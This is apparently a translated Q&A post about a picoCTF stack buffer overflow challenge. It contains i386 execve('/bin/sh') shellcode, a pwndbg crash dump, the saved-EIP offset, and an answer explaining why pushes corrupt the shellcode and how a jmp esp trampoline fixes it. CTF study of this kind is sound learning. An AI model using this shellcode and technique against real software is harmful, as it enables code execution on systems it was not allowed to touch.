我今天玩了一些 picoCTF 挑战赛,发现自己陷入了挑战。 在互联网上挖掘,我在网上找到了一个我无法完全掌握的解决方案。
这个挑战(对于玩 picoCTF 的人来说,我不会破坏它的名字)围绕着一个易受攻击的 x86 ELF,它涉及使用 ROP 小工具来获得 shell,但是
checksec
显示该二进制文件不是 PIE,并且没有启用 NX。
通过在易受攻击函数的
ret
处进行中断,我注意到 EAX
寄存器包含堆栈上缓冲区的起始地址。而且,我发现缓冲区的起始位置和保存的EIP之间的偏移量是28字节。
所以我的第一个猜测是制作一个足够短的 shellcode,将其放置在 NOP sled 前面的缓冲区中,并使用跳转到
saved EIP
寄存器(又名缓冲区的开始)内容的小工具覆盖 EAX
.
但是,我发现这个方法行不通。 我制作的 shellcode 是:
int 0x3 ; used for debugging purposes
xor eax, eax
push eax
push 0x0068732f
push 0x6e69622f
xor ebx, ebx
push eax
push ebx
mov ecx, esp
mov al, 0xb
int 0x80
我使用 pwntool 的
asm
库组装它,将架构设置为 i386
。
调试器在执行几个步骤后会显示以下内容:
pwndbg>
Program received signal SIGSEGV, Segmentation fault.
0xff854a01 in ?? ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]───────────────────────────────────────────────────────────────────────────
EAX 0x0
EBX 0x0
ECX 0x80e5300 (_IO_2_1_stdin_) ◂— 0xfbad2088
EDX 0xff854a10 —▸ 0x80e5000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x0
EDI 0x80e5000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x0
ESI 0x80e5000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x0
EBP 0x90909090
ESP 0xff854a00 ◂— 0x0
EIP 0xff854a01 ◂— 0x2f000000
─────────────────────────────────────────────────────────────────────────────────────[ DISASM / i386 / set emulate on ]─────────────────────────────────────────────────────────────────────────────────────
0xff8549f3 push eax
0xff8549f4 push 0x68732f
0xff8549f9 push 0x6e69622f
0xff8549fe xor ebx, ebx
0xff854a00 add byte ptr [eax], al
↓
► 0xff854a01 add byte ptr [eax], al
0xff854a03 add byte ptr [edi], ch
0xff854a05 bound ebp, qword ptr [ecx + 0x6e]
0xff854a08 das
0xff854a09 jae 0xff854a73 <0xff854a73>
↓
0xff854a73 add byte ptr [eax], al
─────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]──────────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ esp eip-1 0xff854a00 ◂— 0x0
01:0004│ 0xff854a04 ◂— '/bin/sh'
02:0008│ 0xff854a08 ◂— 0x68732f /* '/sh' */
03:000c│ 0xff854a0c ◂— 0x0
04:0010│ edx 0xff854a10 —▸ 0x80e5000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x0
... ↓ 2 skipped
07:001c│ 0xff854a1c ◂— 0x3e8
───────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]────────────────────────────────────────────────────────────────────────────────────────────────
► f 0 0xff854a01
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg>
意味着执行在
0xff854a00
处中断。
现在我在网上找到的解决方案涉及通过以下方式制作溢出字符串:
jmp esp
jmp eax
小工具跳转到缓冲区的开头,覆盖保存的EIP。据我了解,
jmp ESP
指令允许在ret
指令之后直接执行,从而跳转到shellcode内部,但我想了解更多信息。
我什至尝试回忆 x86 调用/返回协议,但似乎我无法完全理解跳转到堆栈将如何真正解决挑战。
我寻求你的帮助。 谢谢!
您的代码位于堆栈指针下的堆栈上。部分内容会被您自己的
push
指令覆盖。请注意,bound ebp, qword ptr [ecx + 0x6e]
具有与 62 69 6E
相对应的机器代码 push 0x6e69622f
。向下调整 esp
适当的量应该可以解决问题,例如sub esp, 32
另一种解决方案通过将大部分 shellcode 放在堆栈指针上方并仅使用单个
jmp esp
来转移控制来解决该问题。这是内存布局的说明:
| ... | | ^ |
| ... | | | |
| ... | | | |
| ... | <= ESP => | shellcode |
+-------------+ +-------------+
| ret addr | jmp eax | ret addr |
+-------------+ +-------------+
| pushed data | | pushed data |
| | | | | |
| | | | | |
| v | | v |
| !overlap! | | ... |
| ^ | | jmp esp |
| | | | nop |
| | | | nop |
| shellcode | <= EAX => | nop |
+-------------+ +-------------+
最初的
nop
可能不需要,它应该与 jmp esp
后跟 26 个 nop
(或任何填充,因为它不会被执行)一起正常工作。